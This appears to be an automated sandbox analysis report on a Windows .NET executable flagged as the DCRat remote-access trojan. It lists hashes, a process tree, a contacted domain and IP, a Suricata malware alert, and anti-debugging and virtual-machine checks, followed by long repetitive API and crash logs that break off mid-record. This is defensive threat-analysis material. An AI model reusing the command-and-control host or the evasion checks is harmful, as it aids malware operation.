Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	May 30, 2023, 5:10 p.m.	May 30, 2023, 5:12 p.m.

Size	957.0KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`e7f043a52ed8bbd9dd37bec764801f7e`
SHA256	`9d2016e30d67e2799238d224adc48f6e406218c7cc9acf1c8027f3647e08c98d`
CRC32	`B14CDC34`
ssdeep	`12288:8JIEiAgn+N/41kouu98maZAkesjEOsjO5SWA79l7LFrhME0X7vJGU:5fBnyouMQJ3jpzYWM3DSTV`
PDB Path	bYbV.pdb
Yara	Is_DotNET_EXE - (no description) PE_Header_Zero - PE File Signature IsPE32 - (no description) Admin_Tool_IN_Zero - Admin Tool Sysinternals

sQdXMQIHJl75b1w.exe "C:\Users\test22\AppData\Local\Temp\sQdXMQIHJl75b1w.exe"
1960
- sQdXMQIHJl75b1w.exe "{path}"
  2524
  - taskhost.exe "C:\Python27\Tools\Scripts\taskhost.exe"
    800
    - taskhost.exe "{path}"
      536

Name	Response	Post-Analysis Lookup
vm654.loyal.sclad.network	A 194.50.153.131	194.50.153.131

IP Address	Status	Action
164.124.101.2	Active	Moloch
194.50.153.131	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49168 -> 194.50.153.131:80	2034194	ET MALWARE DCRAT Activity (GET)	A Network Trojan was detected

Suricata TLS

No Suricata TLS

Queries for the computername (50 out of 61 events)

Time & API	Arguments	Status	Return
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 5:10 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (8 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent May 30, 2023, 5:10 p.m.			0	0
IsDebuggerPresent May 30, 2023, 5:10 p.m.			0	0
IsDebuggerPresent May 30, 2023, 5:10 p.m.			0	0
IsDebuggerPresent May 30, 2023, 5:10 p.m.			0	0
IsDebuggerPresent May 30, 2023, 5:10 p.m.			0	0
IsDebuggerPresent May 30, 2023, 5:10 p.m.			0	0
IsDebuggerPresent May 30, 2023, 5:11 p.m.			0	0
IsDebuggerPresent May 30, 2023, 5:11 p.m.			0	0

This executable has a PDB path (1 event)

pdb_path

bYbV.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx May 30, 2023, 5:10 p.m.		1	1	0

One or more processes crashed (24 events)

Time & API	Arguments	Status
__exception__ May 30, 2023, 5:11 p.m.	stacktrace: 0x80b5ab 0x80b3ff 0x80b2d5 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x80b246 0x80b0bf mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x808660 0x808130 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x8013e4 0x800db4 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca exception.instruction_r: 39 09 e8 30 1a 98 71 89 45 c8 83 7d c8 00 74 1f exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x80f101 registers.esp: 84600276 registers.edi: 84600340 registers.eax: 0 registers.ebp: 84600348 registers.edx: 37535088 registers.ebx: 36778644 registers.esi: 37534676 registers.ecx: 0	1
__exception__ May 30, 2023, 5:11 p.m.	stacktrace: 0x80b5ab 0x80b3ff 0x80b2d5 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x80b246 0x80b0bf mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x808660 0x808130 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x8013e4 0x800db4 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca exception.instruction_r: 39 09 e8 bd 19 98 71 89 45 bc 8b 55 bc b9 b0 af exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x80f174 registers.esp: 84595876 registers.edi: 84600340 registers.eax: 0 registers.ebp: 84600348 registers.edx: 37535088 registers.ebx: 36778644 registers.esi: 37534676 registers.ecx: 0	1
__exception__ May 30, 2023, 5:11 p.m.	stacktrace: 0x80b5ce 0x80b3ff 0x80b2d5 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x80b246 0x80b0bf mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x808660 0x808130 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x8013e4 0x800db4 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca exception.instruction_r: 39 09 e8 f0 18 98 71 89 45 c8 83 7d c8 00 74 1f exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x80f241 registers.esp: 84600276 registers.edi: 84600340 registers.eax: 0 registers.ebp: 84600348 registers.edx: 37583652 registers.ebx: 36778644 registers.esi: 37534676 registers.ecx: 0	1
__exception__ May 30, 2023, 5:11 p.m.	stacktrace: 0x80b5ce 0x80b3ff 0x80b2d5 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x80b246 0x80b0bf mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x808660 0x808130 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x8013e4 0x800db4 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca exception.instruction_r: 39 09 e8 7d 18 98 71 89 45 bc 8b 55 bc b9 b0 af exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x80f2b4 registers.esp: 84595876 registers.edi: 84600340 registers.eax: 0 registers.ebp: 84600348 registers.edx: 37583652 registers.ebx: 36778644 registers.esi: 37534676 registers.ecx: 0	1
__exception__ May 30, 2023, 5:11 p.m.	stacktrace: 0x80b5f1 0x80b3ff 0x80b2d5 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x80b246 0x80b0bf mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x808660 0x808130 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x8013e4 0x800db4 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca exception.instruction_r: 39 09 e8 b0 17 98 71 89 45 c8 83 7d c8 00 74 1f exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x80f381 registers.esp: 84600276 registers.edi: 84600340 registers.eax: 0 registers.ebp: 84600348 registers.edx: 37584476 registers.ebx: 36778644 registers.esi: 37534676 registers.ecx: 0	1
__exception__ May 30, 2023, 5:11 p.m.	stacktrace: 0x80b5f1 0x80b3ff 0x80b2d5 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x80b246 0x80b0bf mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x808660 0x808130 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x8013e4 0x800db4 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca exception.instruction_r: 39 09 e8 3d 17 98 71 89 45 bc 8b 55 bc b9 b0 af exception.instruction: cmp dword ptr [ecx], ecx 